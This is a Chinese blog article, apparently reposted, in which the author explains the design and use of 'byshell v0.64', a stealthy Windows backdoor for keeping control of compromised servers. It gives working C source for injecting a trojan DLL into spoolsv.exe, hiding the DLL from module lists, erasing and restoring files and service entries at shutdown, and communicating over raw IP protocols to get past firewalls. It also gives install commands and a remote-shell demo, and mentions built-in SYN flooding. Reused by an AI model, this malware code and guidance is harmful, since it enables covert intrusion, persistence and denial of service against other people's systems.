系统级ring3后门——byshell v0.64编程与应用

byshell 包括byshell 063和064两个版本 立即下载
 第一部分:背景
    现在网络上流行的木马后门类工具很多,但可以称为精品的则没有多少。大多数新
生们还是在使用winshell,冰河或者Radmin一类的“远程管理软件”来替代后门程序。不
幸的是,它们并不符合一个真正后门的标准,极其容易被有或者没有经验的服务器管理
员察觉,因此肉鸡经常丢失也就很正常了。
    一个合格的后门至少应该作到:不能有陌生进程存在于任务管理器里,给后门进程
起一个看起来像系统进程的名字只是掩耳盗铃;不能在注册表Run启动项或者服务启动项
里留下众所周知的启动键值或新增服务,当然更不能直接写开始菜单的启动项;不能如
同无视管理员或者FW一般明目张胆的打开陌生端口,像bits.dll那样等待连接时无端口
,连接时开端口的程序对抗端口检查时只是30%的有效。另外最好能隐藏自己的新增文件
,或者能避免感染一些管理员经常检查完整性的系统文件。前三点没有做到的后门程序
不是一个“比较高级”的后门程序。
    按照我的分类现在常见的后门大概可以分成三个“级别”。
    应用级,如winshell,Radmin,冰河,基本上没有采取方法隐藏自己,只是一个普
通应用程序能够实现远程控制而已。
    系统级,多多少少采用了一些ring3下隐藏自己行踪的编程技术,少的比如bits.dll
,portless,多的比如hxdef(该后门虽然有一个驱动但是其对系统的hook全都是WIN32A
PI级的,因此大家倾向于它为系统级而非内核级)。
    内核级,后门主要部分工作在ring0,因此有更强的隐蔽性和杀伤力。但是公布的完
整的内核级后门数量不多,兼容性也不近人意。这个话题在phrack和rootkit.com有很多
有价值的讨论和成果公布。
    由于本人只是这方面的初学者,我在自己写的系统级后门byshell v0.64中尽力做到
以上的要求。然而由于个人能力有限,我实现的不够全面和稳定。该程序的源代码已经
在元旦前公布,希望大家能给我提好的意见或者替我升级版本:)在这篇文章中我将和大
家讨论这个开源后门的设计,实现,当然还有应用举例:)希望高手不要扔板砖:)


      第二部分:编程
    在这一部分中我将不列举完整的代码,因为它太长了。我将引用原代码中的关键代
码来说明我的编写思路。
    首先的问题就是怎样隐藏自身的进程。一个普遍采用的方法就是远程线程注射。这
是一个比较简单的实现方法。但是它最大的问题是,它的注射代码到了远程进程的地址
空间后,由于地址空间的变化,依赖于原来地址空间的所有直接寻址指令需要重定位,
这个汇编语言的老手是很容易理解的。对于高级语言程序编写者来说这意味着所有显式
和非显式的全局变量——如API地址和字符串——都需要进行手工重定位。相比于病毒程
序,我们很幸福,因为我们的的注射器可以同时向远程进程注射一个“全局变量块”,
再把这个块的地址传送到远程函数,然后在远程函数中使用这个块来替代直接寻址的全
局变量,从而免于编写完全“自身可重定位”的代码。后者被认为是非常烦琐并且几乎
无法用高级语言实现的。      但即使是这样,编写可以重定位的代码复杂度仍然比较
大,写功能模块比较多的后门程序将会非常的累。农民前辈的cmdbind2实现了完全手工
重定位的注射后门,我们看他的源代码可以发现他仅仅在实现最普通的bind shell上就
花费了很多代码。像byshell v0.64这样的功能复杂的后门,如果直接这样实现是难以想
象的。
    取代直接编写可重定位代码的普遍方法是在注射进入远程进程的函数中加载一个DLL
,这样的话系统将为你做重定位工作,后门主要功能实现在DLL中。例如以前的黑防中,
单长虹介绍过这种方法。这种方法也有一个小弊端就是管理员在审核被你注射的进程时
会发现一个不明的DLL从而导致你后门的暴露。农民前辈提出了一种思路,先加载DLL,
然后把这一块内存全部拷贝到其他地方,卸载DLL,再申请与原来加载DLL相同的地址空
间,把其他地方“寄存”的DLL代码拷贝回这个空间。然后直接调用这个DLL,就解决了
所有的重定位问题,还不会在被注射进程的加载模块列表里出现我们的DLL。农民前辈并
没有实现他的想法为代码。一会这里给出我用这种方法实现的主要代码。
    进行比较讨论时我们也来讨论其他的系统级隐藏进程方法。
    bingle前辈采用替代svchost启动的DLL服务的方法来加载后门。ZXshell也使用了这
种方法。这种方法的主要问题是不稳定,必须改写注册表敏感键值,和在svchost.exe的
加载模块中出现不明模块。当然如果用和原来同名的木马DLL来替代原来的DLL可以避免
以上问题,但是又会遇到新的问题,就是怎样绕过windows的系统文件保护和管理员例行
的系统文件完整性检查。
    hxdef统一采用hook WIN32API的方法完成自身各个方面的隐藏。这种方法对于一般
的ring3检查效果很好,并且可以部分的实现端口复用。它的主要问题有ring3下hook的
手段不多,而且比较“兴师动众”(hxdef向系统中所有进程注射木马数据),效果还不
是很好,极易被ring0的rootkit detector,如ICESWORD发现。最后还有就是编程烦琐。
    我选用了注射远程进程spoolsv.exe假脱机打印服务的方法,并且在注射到远程的函
数中加载然后卸载了一个木马DLL——ntboot.dll。注射器则是ntboot.exe。大家请看nt
boot.exe中的注射代码。

void injcode(){ HANDLE prohandle;//注射对象进程句柄
DWORD pid=0;//对象进程pid
int ret; //临时变量

//使用toolhelp32函数得到注射对象pid
Sleep(1000);
HANDLE snapshot;
snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
struct tagPROCESSENTRY32 processsnap;
processsnap.dwSize=sizeof(tagPROCESSENTRY32);
char injexe[]="spoolsv.exe";//注射对象进程:)大家可以自己改
for(Process32First(snapshot,&processsnap);
Process32Next(snapshot,&processsnap);){
if(!stricmp(processsnap.szExeFile,injexe))
{ pid=processsnap.th32ProcessID;break; }
}
CloseHandle(snapshot);//得到pid
//取得SE_DEBUG_NAME权限,不再解释了,许多文章有
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,0,&tp, sizeof(tp),0,0);
//现在GO注射
prohandle=OpenProcess(PROCESS_ALL_ACCESS,1,pid);
DWORD WINAPI injfunc(LPVOID);//injfunc就是注射去的函数,需要手工重定位
//下面取的需要用的API地址并写进将要注射的全局变量块,injapistr是全局结构,是
全局变量块的内容
HMODULE hModule;
LPVOID paramaddr;//全局变量块地址
hModule=LoadLibrary("kernel32.dll");
injapistr.myLoadLibrary=(struct HINSTANCE__ *(__stdcall *)(const char
*))GetProcAddress(hModule,"LoadLibraryA");
injapistr.myGetProcAddress=(FARPROC
(__stdcall*)(HMODULE,LPCTSTR))GetProcAddress(hModule,"GetProcAddress");
injapistr.myVirtualAlloc=(void *(__stdcall *)(void *,unsigned long,unsigned
long,unsigned long))GetProcAddress(hModule,"VirtualAlloc");
injapistr.myFreeLibrary=(int (__stdcall *)(struct HINSTANCE__
*))GetProcAddress(hModule,"FreeLibrary");
injapistr.myIsBadReadPtr=(int (__stdcall *)(const void *,unsigned
int))GetProcAddress(hModule,"IsBadReadPtr");
injapistr.myVirtualFree=(int (__stdcall *)(void *,unsigned long,unsigned
long))GetProcAddress(hModule,"VirtualFree");
//在目标进程里分配“全局变量块”,并写入API地址
paramaddr=VirtualAllocEx(prohandle,0,sizeof(injapistr),MEM_COMMIT|MEM_RESERVE
,PAGE_EXECUTE_READWRITE);
ret=WriteProcessMemory(prohandle,paramaddr,&injapistr,sizeof(injapistr),0);
//写入injfunc函数
void*
injfuncaddr=VirtualAllocEx(prohandle,0,20000,MEM_COMMIT|MEM_RESERVE,PAGE_EXEC
UTE_READWRITE);
ret=WriteProcessMemory(prohandle,injfuncaddr,injfunc,20000,0);
//激活远程线程
CreateRemoteThread(prohandle,0,0,(DWORD (WINAPI *)(void
*))injfuncaddr,paramaddr,0,0);
CloseHandle(prohandle);
return;
}

//注射到远程的函数,负责完成加载和卸载功能复杂庞大的木马DLL的艰巨任务:)
DWORD WINAPI injfunc(LPVOID paramaddr){
//paramaddr,全局变量块首址
//所有静态全局变量都需要重定位(直接寻址的),而动态分配(堆,virtualalloc)
和栈变量不需要,因为他们使用间接寻址
//其实字符串也可以在刚才写进全局变量块,但是字符串不多这里直接用ASM搞定还方便

char ntboot[16];
char msgbox[16];//变量名字起错了,应该是DLL的后门主函数名,汗,希望不要误导大
家
INJAPISTR * pinjapistr=(INJAPISTR *)paramaddr;
__asm{
mov ntboot,'n'
mov ntboot+1,'t'
mov ntboot+2,'b'
mov ntboot+3,'o'
mov ntboot+4,'o'
mov ntboot+5,'t'
mov ntboot+6,'.'
mov ntboot+7,'d'
mov ntboot+8,'l'
mov ntboot+9,'l'
mov ntboot+10,0
mov msgbox,'C'
mov msgbox+1,'m'
mov msgbox+2,'d'
mov msgbox+3,'S'
mov msgbox+4,'e'
mov msgbox+5,'r'
mov msgbox+6,'v'
mov msgbox+7,'i'
mov msgbox+8,'c'
mov msgbox+9,'e'
mov msgbox+10,0
}
HMODULE hModule=pinjapistr->myLoadLibrary(ntboot);//加载ntboot.dll
DWORD (WINAPI *myCmdService)(LPVOID);//DLL的后门主函数名   
myCmdService=(DWORD (WINAPI
*)(LPVOID))(pinjapistr->myGetProcAddress(hModule,msgbox));
//use some tech to release the dll!
//嘿嘿,以下是精华了各位看官
unsigned int memsize=0;
void *
tempdll=pinjapistr->myVirtualAlloc(0,0x23000,MEM_COMMIT|MEM_RESERVE,PAGE_EXEC
UTE_READWRITE);
memcpy(tempdll,hModule,0x23000);
//0x23000是DLL的大小,不多不少。如果您改变了ntboot.dll的大小请注意调整这个值
pinjapistr->myFreeLibrary(hModule);
hModule=(HMODULE)pinjapistr->myVirtualAlloc(hModule,0x23000,MEM_COMMIT|MEM_RE
SERVE,PAGE_EXECUTE_READWRITE);
memcpy(hModule,tempdll,0x23000);
pinjapistr->myVirtualFree(tempdll,0x23000,MEM_DECOMMIT);
//结束,DLL没有被加载,但是又可以发挥作用,爽吧
myCmdService(0);//没什么,调用后门主函数了:)
return 0;
}


    下一个问题是启动项和文件。ntboot.exe,后门的注射器,是将自己作为服务启动
的。我们决不能让管理员发现服务键值。怎么办?这个也是农民前辈提出的思想。先删
除所有后门文件和服务,设定一个关机通知和一个一键关机钩子,在即将关机的时候写
入文件和服务项。同样的,一开机这个服务只要启动了就会先把自己删除。这样就实现
了无文件和无启动项。管理员用注册表比对将不能发现异常。也无处寻找我们的后门文
件。看一下设定一个关机通知和一个一键关机钩子的代码。

DWORD WINAPI hookthread( LPVOID lpParam ){
MSG msg;int tmpret;char tmpstr[100];
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam);
msghook=SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0
),0);
if(!msghook){ MessageBox(0,itoa(GetLastError(),tmpstr,10),0,0);DebugBreak(); }
tmpret=SetConsoleCtrlHandler(HandlerRoutine,1);
if(!tmpret){ MessageBox(0,itoa(GetLastError(),tmpstr,10),0,0);DebugBreak(); }
while (GetMessage(&msg, NULL, 0, 0)){ void resume();
if(msg.message==WM_QUERYENDSESSION){ resume(); }
}
UnhookWindowsHookEx(msghook);
return 0;
}

BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){ void resume();
switch(dwCtrlType)
{
case CTRL_SHUTDOWN_EVENT:
resume();//resume函数,顾名思义就是恢复文件启动项
break;
default:
break;
}
return 0;
}

LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM
lParam){ void resume();
if(code<0){ return CallNextHookEx(msghook,code,wParam,lParam); }
if(code==HC_ACTION){
    EVENTMSG * pevent=(EVENTMSG *)lParam;
    if(pevent->message==WM_KEYDOWN &&
LOBYTE(pevent->paramL)==0xFF){ resume(); }
}
return CallNextHookEx(msghook,code,wParam,lParam);
}

    与hxdef的hook文件注册表API相比,这种办法的好处是根本就不存在文件。也不会
有什么ring0的rootkit detector可能发现被hook API隐藏的文件和注册表项。坏处是如
果对方直接拔电源关机我们就……安息了。于是我们就会安慰自己说,这个后门有足够
的隐蔽性不会让对方怀疑到中了后门以至于采用掉电关机的BT手段。当然如果你用hxdef
那么相信我现在的rootkit detector很多很普遍。只是一个初级rootkit的hxdef已经成
为众矢之的,在遭到管理员检查时也会安息的很快的。

    最后是怎样实现无端口。(像用rootkit隐藏掉端口那种不叫无端口。那种东西不但
无法穿过防火墙还会在管理员扫描自己的机器时暴露)呵呵,这里是byshell v0.64的弱
项。ring3后门本来难有什么好办法来进行端口复用。使用raw_socket监听TCP只能做到b
its.dll那样的“等待连接时无端口”。把自己加载成SPI基础服务提供者或者分层服务
提供者,可以截获所有ring3网络通讯,都会在注册表和系统中留下足够多的信息从而导
致我们后门的安息。hxdef的hook系统中所有进程的recv/WSArecv函数的方法,虽然有不
能复用ring0端口如139,445的弊端,但是基本上还是ring3端口复用的现在看来比较好
的办法。到现在为止byshell采取的方法是使用socket_raw的自定义协议,就是非TCP非U
DP协议进行通讯,可以穿越大多软件防火墙和一些硬件防火墙,但是它的弊端是不保证
穿过所有防火墙,并且不支持windows xp sp2,因为后者M$取消了对socket_raw的支持
。似乎使用了这种方法的系统级后门软件也不少。我的实现也比较简单,就是用一个协
议号224监听连接和刷新,另一个协议号225传输后门数据。很简单。

WSADATA WSAData;
WSAStartup(MAKEWORD(2,2),&WSAData);
SOCKET sock224=socket(AF_INET,SOCK_RAW,224);
sockaddr_in srvaddr;
memset(&srvaddr,0,sizeof(struct sockaddr_in));
srvaddr.sin_family= AF_INET;
srvaddr.sin_addr.S_un.S_addr =INADDR_ANY;
ret=bind(sock224,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr));
if(ret){ goto label2; }
dwThreadId=0;char buff224[128];
DWORD WINAPI threadfunc( LPVOID lpParam );
HANDLE thrdhndl;
//建立225的连接线程
thrdhndl=CreateThread(0, 0, threadfunc, 0, 0, &dwThreadId);
//等待刷新
while(1){ recvfrom(sock224,buff224,128,0,0,0);
if(!strncmp(buff224+32+sizeof(IP_HEADER),"+_)(*&^%$# at !~byrefreshbreak",27)
&& !strncmp(buff224+sizeof(IP_HEADER),pwd,strlen(pwd))){
    TerminateThread(thrdhndl,0);goto label1; }
}

    在225的代码里我实现了简单的差错控制。那个代码比较长这里不列举了,有兴趣的
朋友看源代码。这个复用方法不是非常可靠稳定所以我公布了byshell v0 dot 63,它直接开
了一个TCP端口138:)完全不符合后门要求,但是给大家用来作测试还是可以的。如果大
家发现byshell v0.64不能很稳定可以试试它。不过一个严重的失误是我在byshell
v0.64的说明书里漏了一个命令refresh,它可以清除万一出现的225连接死掉,并且给您
机会重新连接。
    最后就是byshell实现了非常多的命令。比如查看系统信息,执行命令,在后门连接
中上传下载,甚至还有SYN洪水攻击。后门的功能模块是work()函数,这样便于进行功能
拓展和模块化编程。我的程序风格并不好,喜欢不分行和紧凑代码:(不过我还是希望大
家一起来开发这个软件。针对它端口复用不理想的现状,我会继续升级。以后可能写成h
xdef那样的ring3复用,也可能是ring0的过滤驱动之类的东西。也希望前辈们继续指导
我:)在这个后门的写作中,3个人给我最大的帮助。请允许我占用篇幅表示对他们的感谢
。他们是谷夕(gxisone),黄鑫(glacier),当然还有农民。这个后门一半应该是他
们的功劳。


      第三部分:应用
    至于应用,这个后门(0.64)支持的命令有:cmd,shell,endshell,chpass,byver,s
ysinfo,pslist,pskill,modlist,get,put,reboot,dettach,popmsg,SYN,queryDOS,endDO
S,refresh等。具体用法请查看说明书。注意的是说明书上遗漏了refresh,它的作用是
清除万一出现的连接死掉,并且给您机会重新连接,也可以在您换了一个IP以后,清除
原来的连接(否则不能正常连接)。安装后门时只要把ntboot.exe和ntboot.dll上传到
同一目录并且执行ntboot.exe -install即可。安装完成请您手动删除ntboot.exe和ntbo
ot.dll,如果您不是上传到system32目录。连接请用by064cli.exe。注意byshell
v0.64不支持本机对本机测试。v 0.63可以。现在我用v 0.63简单演示一下使用效果。

please input the server ip address
127.0.0.1
127.0.0.1 will be connected
input the password(the default one is 'by')
by
#cmddir c:/
驱动器 C 中的卷没有标签。
卷的序列号是 CCB2-D751

c:/ 的目录

2005-01-29 14:22       <DIR>          Documents and Settings
2004-10-01 19:24       <DIR>          Inetpub
2004-11-17 20:56       <DIR>          Intel
2004-10-30 14:18               24,576 isapilog.dll
2004-11-11 00:55               24,576 magic_asp.dll
2005-02-07 21:47       <DIR>          My Music
2004-12-21 00:05                  124 Operate.ini
2005-01-18 22:38       <DIR>          Program Files
2005-02-07 23:31       <DIR>          ubackup
2005-02-02 17:54       <DIR>          WINNT
               3 个文件         49,276 字节
               7 个目录    124,207,104 可用字节
#shell
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:/WINNT/system32>cd..
cd..

C:/WINNT>cd..
cd..

C:/>dir
dir
驱动器 C 中的卷没有标签。
卷的序列号是 CCB2-D751

C:/ 的目录

……省略
               3 个文件         49,276 字节
               7 个目录    124,207,104 可用字节

C:/>endshell
shell terminated
#byver
byshell server version 0.63
Released Dec 19,2004 Copyleft at "by" co dot ltd.
#pslist
…………这里有BUG,排列不整齐,大家凑合看吧:(
process:
pid     filename        num_thread      parentpid
8       System 43      0
184     smss.exe        6       8
208     csrss.exe       11      184
232     winlogon.exe    19      184
260     services.exe    31      232
272     lsass.exe       17      232
456     svchost.exe     11      260
488     SPOOLSV.EXE     14      260
524     msdtc.exe       21      260
636     svchost.exe     18      260
656     llssrv.exe      9       260
688     sqlservr.exe    28      260
776     winmgmt.exe     3       260
812     dfssvc.exe      2       260
832     inetinfo.exe    29      260
856     mssearch.exe    6       260
1224    svchost.exe     11      260
1176    explorer.exe    19      1172
1356    igfxtray.exe    2       1176
1404    PFWMain.exe     4       1176
1412    SOUNDMAN.EXE    2       1176
1428    realsched.exe   4       1176
1436    internat.exe    1       1176
1444    sqlmangr.exe    3       1176
1280    BitComet.exe    9       1176
328     notepad.exe     2       1176
1196    MDM.EXE 5       456
1512    conime.exe      1       1088
1520    cmd.exe 1       488
1504    by063cli.exe    1       1176
#pskill1428
OK,job was done,cuz we have localsystem & SE_DEBUG_NAME:)
#modlist1520

mods of 1520:
module_id       module_name     module_path
1       ntdll.dll       C:/WINNT/System32/ntdll.dll
1       KERNEL32.dll    C:/WINNT/system32/KERNEL32.dll
1       USER32.dll      C:/WINNT/system32/USER32.dll
1       GDI32.DLL       C:/WINNT/system32/GDI32.DLL
1       ADVAPI32.dll    C:/WINNT/system32/ADVAPI32.dll
1       RPCRT4.DLL      C:/WINNT/system32/RPCRT4.DLL
1       MSVCRT.dll      C:/WINNT/system32/MSVCRT.dll
1       IMM32.DLL       C:/WINNT/System32/IMM32.DLL 
byshell1.09 黑防专用远程控制,过全部杀毒软件!!! 立即下载

相关推荐

byshell远程控制

那个byshell0.64的网络传输稳定性不是很好,因此把前一个版本的0.63也放上来了。<br> 大家如果发现0.64不能用,可以试试这个。<br> byshell v0.63<br> author:"by"<br> byshell v0.63,用户态实现无进程无DLL无硬盘文件无启动项的后门程序。利用线程注射DLL到系统进程,解除DLL映射并删除自身文件和启动项,关机时恢复。大量的借鉴和学习了农民的cmdbind2的思想,在这里对农民前辈无私共享的精神致以120分感谢。目前把后门绑在TCP138,以后会改成无连接或端口复用的:)原代码和注释写的比较凌乱,和本人的不好的程序风格有关,望大家谅解:(作者允许此软件及其源代码自由传播,但引用时应注明原出处。在联系作者并得到同意之前,不得将此软件改编或删选后用作商业用途,但可用作学习和私人用途。<br> 本软件仅仅支持NT以上的Wind0wZ系统。第一次使用时,在服务端把ntboot.exe和ntboot.dll放在同一目录下,执行ntboot.exe -install,安装完成后安装文件可以删除。以后当服务端上网,byshell会注射到spoolsv.exe中,可以自行修改原码改变注射的进程名。<br> <br> 符号#是这个软件的命令提示符。目前支持的命令:<br> cmd 在此后跟你要执行的cmd命令,注意:只能执行一条单独的命令。仅仅支持NT以上的Wind0wZ系统。<br> eg. #cmddir c:\winnt<br> shell 输入此命令后,进入交互的远程cmd,直到键入endshell返回#提示符。仅仅支持NT以上的Wind0wZ系统。<br> endshell 从shell状态返回#提示符。<br> chpass 改变后门密码。默认为“by”。<br> eg. #chpass123456<br> byver 查看连接的服务端的版本,新旧版本的客户服务端间交互时,可能有严重的兼容性问题。<br> sysinfo 取得对方的基本系统信息。<br> pslist 对方进程列表。<br> pskill 杀死对方指定进程。在此后跟你要杀死的进程的PID(由pslist得到)。<br> eg. #pskill972<br> modlist 对方指定进程加载的所有DLL的列表。在此后跟你要查看的进程的PID(由pslist得到)。<

详细讲解黑客常用的远程控制木马

<!--v/:* {behavior:url(#default#VML);}o/:* {behavior:url(#default#VML);}w/:* {behavior:url(#default#VML);}.shape {behavior:url(#default#VML);}-->  Normal 0 7.8 磅 0

yakoo5的专栏 3万+

Byshell远程控制

2008年5月份出来的最新Byshell远程控制软件,可以有效控制内网,外网客户端,绝对经典

系统级ring3后门——byshell v0.64编程与应用(zz)

第一部分:背景    现在网络上流行的木马后门类工具很多,但可以称为精品的则没有多少。大多数新生们还是在使用winshell,冰河或者Radmin一类的“远程管理软件”来替代后门程序。不幸的是,它们并不符合一个真正后门的标准,极其容易被有或者没有经验的服务器管理员察觉,因此肉鸡经常丢失也就很正常了。    一个合格的后门至少应该作到:不能有陌生进程存在于任务管理器里,给后门进程起一个看起来像系统进

FreeXploiT 3238

Byshell 远程后门控制 1.09 C++源码.rar

Byshell 远程后门控制 1.09 C++源码.rar

全网最全 | Linux(Ubuntn)系统安装 | 硬盘挂载 | 用户创建 | 生信分析配置

昨天(2024年7月23日)我们分享了学生及科研人员电脑配置推荐 | 笔记本+外置显卡配置,性能足够支持完成你博士论文文本内容,那么今天我们就分享一文解决 | Linux(Ubuntn)系统安装 | 硬盘挂载 | 用户创建 | 生信分析配置的教程,我们使用一文来解决大家在做生信时遇到安装系统、配置环境的问题。在此文中,我们尽快可能给出一套全网最全的教程。目标是解决新手小白同学查资源的困惑和难题。但是,每个童鞋遇到的问题不一样,此教程也不可能把你遇到的每个问题都归纳在其中。我们也希望,

BioinfoDu 2261

五步清除内核级木马程序Byshell

 Byshell是一个无进程、无DLL、无启动项的、集多种Rootkit技术特征的独立功能远程控制后门程序(Backdoor)。其利用线程注射DLL到系统进程,解除DLL映射并删除自身文件和启动项,关机时恢复。它是内核级的木马程序,主要部分工作在Ring0,因此有很强的隐蔽性和杀伤力。  黑客通常用Byshell木马程序远程控制安装了Windows NT/2000/XP/2003操作系统的

yakoo5的专栏 3717

RS232/RS485/CAN_BUS 通信原理总结与通信波形分析

分析一:232串口信号要点:RS232,全双工,采用三线制传输分别为TXD\RXD\GND,其中TXD为发送信号,RXD为接收信号。在RS232中任何一条信号线的电压均为负逻辑关系。即:-15v ~ -3v 代表1 +3v ~ +15v 代表0测试结果与分析:如图所示,以传输一个8位二进制数值“01101010”为例,异步传输数据的一般格式为:起始位+校验位+数据位+停止位。其中,校验位为可选项。...

乔木鱼 1万+

服务器入侵工具

一、扫描工具 X-scan 3.1 焦点出的扫描器,国内最优秀的安全扫描软件之一!非常专业的一个扫描器! X-way 2.5 这也上一个非常不错的扫描器哦!功能非常多!使用也不难,入侵必备工具! SuperScan 3.0 强大的TCP 端口扫描器、Ping 和域名解析器! Namp 3.5 这个就厉害了,安全界人人皆知的非常有名气的一个扫描器!作者Fyodor ...

weixin_30911809的博客 1427

iOS开发者必备:从越狱设备里提取IPA的三种方法(含Filza、iTools实战)

本文详细介绍了iOS开发者从越狱设备提取IPA文件的三种实用方法,包括使用Filza文件管理器、AFC2配合桌面工具以及命令行高级技术。内容涵盖环境准备、操作步骤和技术原理,帮助开发者高效获取应用包文件,适用于逆向工程、测试分析等场景。

weixin_28717969的博客 817

SAP PP实战:MRP Area怎么用?手把手教你按产线、委外供应商拆分物料计划

本文详细解析了SAP PP模块中MRP Area的功能与应用,指导如何按产线、委外供应商拆分物料计划,实现精细化物料需求管理。通过实战案例展示MRP Area在减少计划冲突、提升库存准确率方面的显著效果,为制造业企业提供可落地的解决方案。

weixin_27015733的博客 432

内核级木马程序Byshell原理和清除法

来源:timezq    更新时间:2008-4-24 11:05:26    浏览次数:11 BYshell是内核级的木马程序,有很强的隐蔽性和杀伤力。 Byshell是一个无进程、无DLL、无启动项的、集多种Rootkit技术特征的独立功能远程控制后门程序(Backdoor)。其利用线程注射DLL到系统进程,解除DLL映射并删除自身文件和启动项,关机时恢复。它是内核级的木马程序,主要部分工作在

1364

史上最详细的sqlmap使用教程

sqlmapsqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等Sqlmap采用了以下5种独特的SQL注入技术基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。

大河之犬的博客 5万+

ByShell 一个穿越主动防御的木马

 《电脑报》提到了一个可以轻松穿越卡巴,瑞星,诺顿的主动防御功能的免杀木马:byshell。于是在网上搜,搜到byshell推广版的说明是:可以穿越卡巴瑞星诺顿的默认设置主动防御。我就下了个推广版回来试下微点能不能防,生成服务端后一运行,微点没有让人失望,立刻报告说发现未知监控软件。本来还想试下远程监控看看微点会不会提示有可疑程序访问网络之类的,因为在单位上班,还是放弃了念头。 BYshe

yakoo5的专栏 2194

30分钟上手YOLO26 nano:INT8量化部署到智能相机,推理速度提升43%

微调代码(仅需5行,数据集遵循COCO格式)data="custom_data.yaml", # 数据集配置文件epochs=20, # 少量轮数即可收敛batch=8,imgsz=640model.save("yolov26n_custom.pt") # 保存微调后的模型本文在30分钟内完成了YOLO26 nano的INT8量化与智能相机部署,核心步骤为环境准备→模型获取→ONNX导出→INT8量化→部署推理。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 987

ImportError: cannot import name ‘is_torch_npu_available‘ from ‘transformers.utils‘解决方案

本文主要介绍了ImportError: cannot import name ‘is_torch_npu_available’ from 'transformers.utils’解决方案,希望能对使用transformers的同学们有所帮助。 文章目录 1. 问题描述 2. 解决方案

weixin_43178406的博客 4万+

冰河入侵与防御

冰河入侵与防御 用于学习,禁止用于非法攻击 冰河木马 网络客户/服务程序,用于远程访问及控制,是国产木马的标志和代名词。 环境说明 WinServer 2003 为攻击机(10.1.1.31),WinXP 为靶机(10.1.1.97),相互 ping 通。 操作步骤 1、下载冰河木马到 Windows server 2003 G_Client 为客户端,在攻击机本地打开,用来为靶机的后门程序做控...

Goallegoal的博客 1544

Vue2 - 最新实现接入使用天地图及卫星视图切换功能,在国家天地图上自由切换地图显示类型(卫星视图/地形视图/卫星混合/地形混合/普通视图)vue天地图切换视图显示改成卫星风格,切换地图图层完整代码

vue2,nuxt2,天地图,视图,卫星,地图类型切换,vue天地图,改成卫星视角,在线地图切换,来回切换卫星图,天地图如何实现来回切换卫星图,地形图,卫星视图,vue中使用天地图自定义样式切换地图图层,切换报错,加载出错,卫星图太卡,地图图层更换,vue安装集成天地图详细示例源码,切换地图的样式,在天地图中如何将地图的类型随意更换,提供多种视图模式用户自由点击更换,VUE引入天地图卫星版,详细教程示例源码代码,天地图切换卫星用什么api,卫星视角API方法,vue2卫星天地图,能改地图的显示方式,图层类型

🏆 前端领域优质创作者 4141

常用的WebShell管理工具

1、中国菜刀(Chopper) 中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UNICODE方式编译,支持多国语言输入显示。 官网:http://www.maicaidao.co/ 2、蚁剑(AntSword) AntSword是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和/或授权的安全研究人员以及网站管理员的需求。 github项目地址:https://

美奇软件开发工作室 3562

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

无进程无DLL无硬盘文件无启动项木马思路(转载)

现在网络上流行的木马后门类工具很多,但可以称为精品的则没有多少,大多数新手们还在使用Radmin一类的软件来替代后门程序。不幸的是,它们并不是一个真正的后门,极容易服务器管理员察觉,因此肉鸡经常飞掉也就很正常了。  一个合格的后门至少应该做到不能有陌生进程存在于任务管理器里,给后门进程起一个看起来像系统进程的名字只是掩耳盗铃;不能在注册表Run启动项或者服务启动项里留下众所周知的启动键值或新

blackbean的专栏 1275

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

BYSHELL

 //记得改名为ntboot.exe/**************************************************************redesign pack header,BYheader for all instance for reliable trans.16 BYTE password8 BYTE reserved4 BYTE packnum4 BYTE

woshidaniu的专栏 1175
上一篇: 用户态隐藏进程的通用版本
下一篇: 移除dll并保持正常运行
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值